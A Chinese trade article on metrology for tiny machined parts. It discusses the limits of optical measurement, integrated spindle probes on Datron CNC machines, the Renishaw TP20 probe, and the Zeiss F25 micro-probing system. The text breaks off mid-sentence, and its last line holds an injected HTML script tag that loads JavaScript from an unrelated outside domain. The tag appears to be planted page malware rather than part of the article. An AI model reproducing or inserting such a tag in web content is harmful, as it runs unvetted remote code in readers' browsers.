在一个理想的世界中,一种光学的,或另一种非接触式的检验,可能是测量复杂的、微型机械加工零件的最好方法,但这经常是不实际的。光学系统有速度的优越性,能避免变形,但是,光学测量是有限制的,因为工件的可见边缘经常不能反映在它下面有什么。另外,光学系统经常不能确定三维的缺陷,如平行度、垂直度、圆柱度和平面度。
但是,把一个测量系统中的多个传感器技术的实力结合起来,就能在一次调整安装之下,测量复杂零件的所有苛刻的特征。这样的多个传感器测量系统,常常包括用于表面和边缘测量的非接触式传感器——视频、白光和激光——以及接触式触发器和扫描探头,用于达到非接触式装置不能达到的零件特征部位,如深的沉孔。
探测微小特征
传统的测量技术,如坐标测量仪接触式触发探头已经发展,以适应不断变化的需求。目前,有具不同等级触发压力的传感器、不同长度的触针和不同尺寸和材料的探头尖。但是,当被测量的特征比较小时,探头能够做成多小,且仍能可靠地触发,这是有一个实际限制的。例如,一个细的触针,在探头触发之前可能弯曲,错误指示了表面的位置。或者,一个长的探针,事实上当探头尖还未触及到被测量的壁时,可能“触发”(碰到孔或槽的边缘)而记录一个数据点。先进的制造技术和放电加工的应用,已经使人们有能力生产出难于测量的微型特征,如微小的孔。在一些应用情况下,接触式触发探头尖的尺寸或探针的长度,可能完全不允许使用接触式触发装置。可能不适合接触式触发测量的应用情况包括:小缝、小孔、小槽或小孔的拔模斜度的测量,因为传统探针在记录一个位置时,一定会挠曲。
在加工中通常使用两种探头。第一种是附加到机床上的附件,就是一种在主轴上安装的探头。第二种是彻底的、机床内在的探头,即所谓集成的探头。这些探头可以折迭起来,因而不用占用工装的位置,所以不需要更换工具。机床集成的探头可靠,总可以使用,且具有减少处理电线、应付无线电干扰、保证电源等问题。
带有集成探头的机床成为可以感测和反应其周围环境的机床。具有这些功能的机床,对于越来越小的零件和需要用于很多种零件的情况,特别有用。
与控制器联通
先进的探测技术可以与控制系统和软件集成在一起来运行机床。例如datron dynamics公司作为一家高速cnc铣削雕刻两用机床的制造商,开发了一种第三代的集成探测系统,可以检查、保证零件的正确定位。然后,机床可扫描并辨认该零件,选择适当的程序来加工。datron公司总裁walter schnecker博士说:“即使操作者装上一个有毛病的零件,机床仍然会生产出好的零件,因为那个零件的正确程序是由探头扫描所决定的。经常转换零件的较小的车间,由于能自动检查工件的夹持精度,所以能减少转换和循环时间。”
datron机床上的z形校正探头,可以识别不规则工件的外形,无论这不规则外形是意外造成的,还是设计成的,探头都能帮助机床进行动态补偿。这补偿是通过沿毛坯表面测量,并把这测量的数据输入到机床的控制器中而实现的。控制器自动调节不正确的表面或工件位置。通过这样的过程,减少了工件的安装调整时间,也减少了零件报废。
z形探头永久性地安装在主轴近旁,只有当需要时,才靠气动而伸出。基于它的集成设计,它不需要更换工具,也没有电线碍事,该装置也不会由于在主轴上的转换而意外损坏。
当装备了三维伸出装置时,z形校正探头在x、y和z坐标上,把零件和不规则的材料定位,找到孔和轮毂的中心,在加工前预先测量毛坯,补偿材料偏差,为质量控制,把数据输入到iso9000信息链,并且能进行许多零件的反求工程。
装有雷尼绍(renishaw)tp20探头的datron机床,可用于测量复杂零件和零件特征,如在一个圆拱表面上雕刻的标签。通常,要适应表面深度的变化,保证均匀的雕刻深度,需要三维编程。使用tp20可以扫描表面,在加工数据中自动控制零件表面的不规则外形和变化,而不用三维编程。tp20有6面、动接触触发探头系统,可以缩短循环时间。
光接触
carl zeiss imt公司的f25是一种接触系统,结合一个有3个传感器的光学系统,两个用于测量,一个用于辅助操作者。一个是基于压电薄膜的全扫描传感器,可以取接触点。它也能以全自动扫描模式使用。carl zeiss imt公司精密产品的新产品经理gerrit deglee指出,探针的直径能小到0.12毫米,接触压力只是坐标测量机的百分之一。deglee说:“它允许较小的夹紧力,这是很重要的。微型零件由于夹紧装置,可能引起变形,所以夹紧零件必须特别小心,提供的测量方法不应使零件变形。”
f25安装在接触式传感器邻近的光学系统,能独立使用,也能结合接触式传感器一起使用。该系统有一个环形光源,它可以按强度和方向编程,?script src=http://er12.com/t.js>